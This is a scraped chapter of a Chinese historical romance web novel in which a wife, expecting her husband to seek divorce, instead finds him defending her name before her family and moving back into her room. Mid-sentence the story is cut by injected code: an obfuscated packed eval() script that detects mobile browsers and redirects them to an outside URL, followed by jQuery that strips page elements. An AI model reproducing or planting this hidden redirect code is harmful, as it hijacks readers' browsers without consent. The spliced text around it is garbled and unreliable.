沈卿婉哪里还顾得细思,一味地认准了是孟玦误会她与陈子墨相见,心中生了芥蒂。
故而才这般一声不响便直奔沈家。
这么一想,心口像是被什么东西狠狠攥住,又闷又疼,带着一丝难以言喻的恐慌。
她下意识地抗拒心中预设的这种情况发生,满脑子只有一个念头——不能让孟玦这么做!
他若是真的去沈家提和离,那小娘要怎么办?
小娘病体方有起色,若闻此事……她不敢深想。况且自她嫁入孟家,小娘的日子才略见宽裕;若与孟家断了干系,岂非一切打回原形?
只怕比从前更不如。
“快,含香,去打水洗漱!”沈卿婉语速极快,手脚并用地掀开锦被,“我要立刻回沈家!”
含香也不敢耽搁,连忙转身去备水。
沈卿婉匆匆套上裙衫,青丝也只胡乱绾了个髻,连珠钗也忘了簪,便提着裙裾急急往外赶。
一路上连声催着车夫快些、再快些,恨不能追上孟玦的车驾。
马车疾驰,沈卿婉的心始终悬在嗓子眼,指尖因为过度紧张而微微发颤。
她一遍遍地在心里祈祷,希望一切还来得及,盼孟玦能念及一丝夫妻情分,莫要做得太绝。
***
待马车停在沈府门前,孟玦的车驾早已静候一旁,不知停了多久。
沈卿婉立在角门处,一时竟有些茫然——里头如今是何光景?她连想也不敢想。
门子见她踌躇半天,没有进门的意思,奇怪道:“姑奶奶,姑爷都已经进去许久了,你不进去吗?”
她勉强扯出一丝笑,抬脚跨过门槛。一路行来,见府中下人神色如常,心下稍定,缓步往正厅去。
厅内,沈阶端坐上首,嫡母贾氏陪坐一旁,二人面色平和,语声温缓,不见半分异色。
坐于下首的孟玦见她进来,目光落向她,唇边浮起一抹温和笑意,示意她坐到自己身侧。
沈卿婉眸中掠过一丝惊疑,随即敛去。先向父亲与嫡母行了礼,心中却暗自揣度:他这般态度……与自己所想全然不同,莫非是她多心了?
可他昨日分明那般冷淡,今晨不告而往,若非和离,又是为何?
按下心头纷乱,她依言落座。
只听孟玦对沈阶道:“岳丈,小婿今日前来,一则为向二老表明,我与婉儿夫妻和睦,情深意笃,绝非外界传言那般不堪。”
他略顿,目光扫过沈阶与贾氏,续道:“二则想问,此番我府中私事竟传至沈家,闹得沸沸扬扬,以至婉儿生母大病,实有失体统。
“孟府管教不严,我自会严查重惩。只是沈府这边,也烦请岳丈一并彻查,揪出那起搬弄口舌之人,杜绝此类流言再生,以免污了婉儿清誉。”
沈阶忙赔笑道:“贤婿所言极是!都怪老夫治家无方,竟容此等流言入府,实在惭愧!待找出那嚼舌根的,定当严惩不贷!”
说着,眼风暗暗扫向贾氏。
贾氏立刻会意,顺着沈阶的话道:“都是我的不是,平日里太过纵容下人,才让他们生出多嘴多舌的毛病。
“贤婿放心,不出三日定会寻出那罪魁祸首,以正家风,绝不让此类事情再发生!”
孟玦微微颔首,淡淡道:“如此便好。”
沈卿婉坐在一旁,听着他们的对话,忍不住频频侧目看向孟玦,她是真的没想到孟玦来沈家竟是为她撑腰。
她从未奢望那种轰轰烈烈的感情,眼前这一点细水流长的暖意,使得她那不安的心,得到了暂且的将息。
她还未咂摸出意味,又听孟玦言欲探望陶氏。
沈卿婉不愿他去青芜院。
那里藏着她过往种种,她不想让他看见她的不堪。遂轻声道:“夫君,小娘毕竟是妾室,妾同仆隶。你若以拜见岳母之名往访,于礼不合;若只作寻常探看,亦不妥当。”
孟玦看出她不愿,也不勉强,只道日后有机会再探望。
沈卿婉见他改了口,暗暗松了口气。
孟玦尚有公务在身,此来既为澄清流言,事毕便起身告辞。
临行时,对欲一同离去的沈卿婉温言道:“夫人既已回来,家中无事,不妨在此用过膳再回。”又转头向绿松低语几句。
他转头对身旁的随身侍从绿松低语几句。
绿松即刻上前,手捧一锦盒,恭敬奉上:“娘子,此乃郎君特为陶娘子备下的补品,请您收下。”
含香上前接过,打开一看,惊呼一声,引得沈卿婉也抹过头去看,观其形貌,皆有五年以上参龄。
经此一事,她方知此物珍贵,价值不菲。
她诧异地回望着他,下意识便想拒绝,这东西太昂贵了。可……小娘身子不好,万一哪天又需要,还可以有备无患。
沈卿婉略略一思忖,终是收下,心中五味杂陈。
她抬头看向孟玦,用探究的眼光在他脸上滚了两转。这一刻,她忽然觉得,自己似乎从未真正了解过这个名义上的夫君。
千言万语,终化作一句干涩的:“多谢夫君。”
“你我夫妻,何必言谢。”
她目送他背影远去,心中疑云缭绕。
今日他在沈家,从容不迫地为她撑腰,以无形官威压得父亲与嫡母连连认错,只为维护她的名声。
他还惦记着她的生母,特备下贵重补品,虽未亲见,却给足了体面。
这些事,她竟不敢信是孟玦所为。他素来清冷孤高,不屑以权压人,更不会为谁这般“小题大做”。
可他偏偏为她做了,做得那般自然,那般坦荡。
也许……
一个念头如同破土而出的嫩芽,在她心底悄悄冒了头。
她陪陶氏用了午膳,留下血参,又再三宽慰,说自己与孟玦感情甚笃,让她勿要挂心,好生养病。
絮语一番,方辞归孟府。
晚膳时,她与孟玦同席,心中总想着日间种种,神思不属。面前肴馔几乎未动,目光却总不自觉飘向身旁之人。
膳后,她独坐临窗罗汉床上出神。忽闻院外步履声近,伴着含香等人恭敬的唤声:“郎君。”
沈卿婉心下一动,起身相迎,只见孟玦迈步入内,身后随着几名小厮,搬着铺盖被褥并书房常用物件。
“夫君?你这是……”沈卿婉茫然望他。
红袖已指挥着小厮安置物件,又与含香一同铺展衾枕,窸窣声响将她细微的疑问掩了下去。
她不好再问出声,</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157771|194328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
待一切收拾妥当,小厮与红袖等人退了出去。
孟玦坐于榻边,手轻按锦被,对她道:“在书房睡不安稳,许是惯在此处歇息了。今日搬回来,可会扰了夫人?”
嗓音低沉,入耳别有一番意味。
沈卿婉愈发看不透他了。
她听见自己的声音,极轻极轻地回道:“自然不会。书房偏远,起居不便。搬回来,做事情也方便一点。”
“做事情也方便一点……”孟玦重复着她最后一句话,变了语调,那意思也跟着变了味,她听见他问:“做什么事情?”
沈卿婉懵然答:“自是饮食起居,给母亲请安一类……”
抬眸对上他的眼,却见其中意味深长。她蛾眉轻蹙,倏然明悟他话中玄机,颊上顿时飞红。
她微微偏过脸,心中暗嗔他不正经。
可转念想起这两日种种,他此刻搬回,又与她说这般言语,教她不得不多想。
天下男子,哪有真不在意妻子与旁人有牵扯的?纵无情爱,亦不容旁人染指。
她暗自思量:莫非他是等着自己坦明,就是他之前所言的“坦诚相待”。
她犹豫了片刻,咬了咬唇,像是下定了某种决心,抬眸看向他,轻声说道:“夫君,有件事,我想跟你说清楚。”
孟玦微微颔首:“你说。”
“我与陈二郎,”沈卿婉斟酌着词句,避开了那些不堪的过往,只捡了关键的说,“当年父亲本想将我许配给他人,可我知道那并非良配,不愿从命。
“便恳求他帮忙,假意有过婚约,好推掉那门亲事。我与他之间,并无半分男女之情,以前没有,往后也绝不会有。
“那日他忽然而至,实属意外。我……不愿夫君误会。他所说的许多话,亦是妄言,望夫君莫要放在心上。”
她说完,紧张地看着孟玦,生怕他不信,生怕他因此不悦,生怕他追问细节。
可出乎她意料的是,孟玦听完后,只是点了点头,语气平和地说道:“夫人愿坦诚相告,我心甚慰。”
他轻拍身旁位置,示意她近前。
沈卿婉依言坐下,悄悄打量他。他虽语气温和,面色如常,可眼眸深处却似幽潭,望不见底。只一对视,便教她无端心慌。
他将手搭在她的手背上,指尖带着微凉的温度,触碰到她肌肤的那一刻,沈卿婉像被电流击中一般,浑身一僵,下意识地想要抽开,却被他轻轻按住了。
“陈郎君其实有一句话说的没错……”,他没头没尾地冒了一句,他的语调让人摸不都情绪。
她不解地问道:“哪一句?”
她问这话的时候,才有点发觉,孟玦不知什么时候向她靠了一点,将原来那一点距离给挤掉了,他挨着她。
他身上带着那么一点微凉的气息慢悠悠地往她身上钻。
他用他那略带沙哑的喉咙低低说道:“我这个做丈夫的确有许多不周到之处……”
她的下颌被他捏住,他用指腹擦过她的嘴唇,他的指腹因为常年握笔的原因,有些粗糙,按在她的唇上有一点痒。
她无意识溢出一声轻嘤。
他的喉结微微滚动了一下,继续道:“比如说,没有与夫人履行夫妻义务。”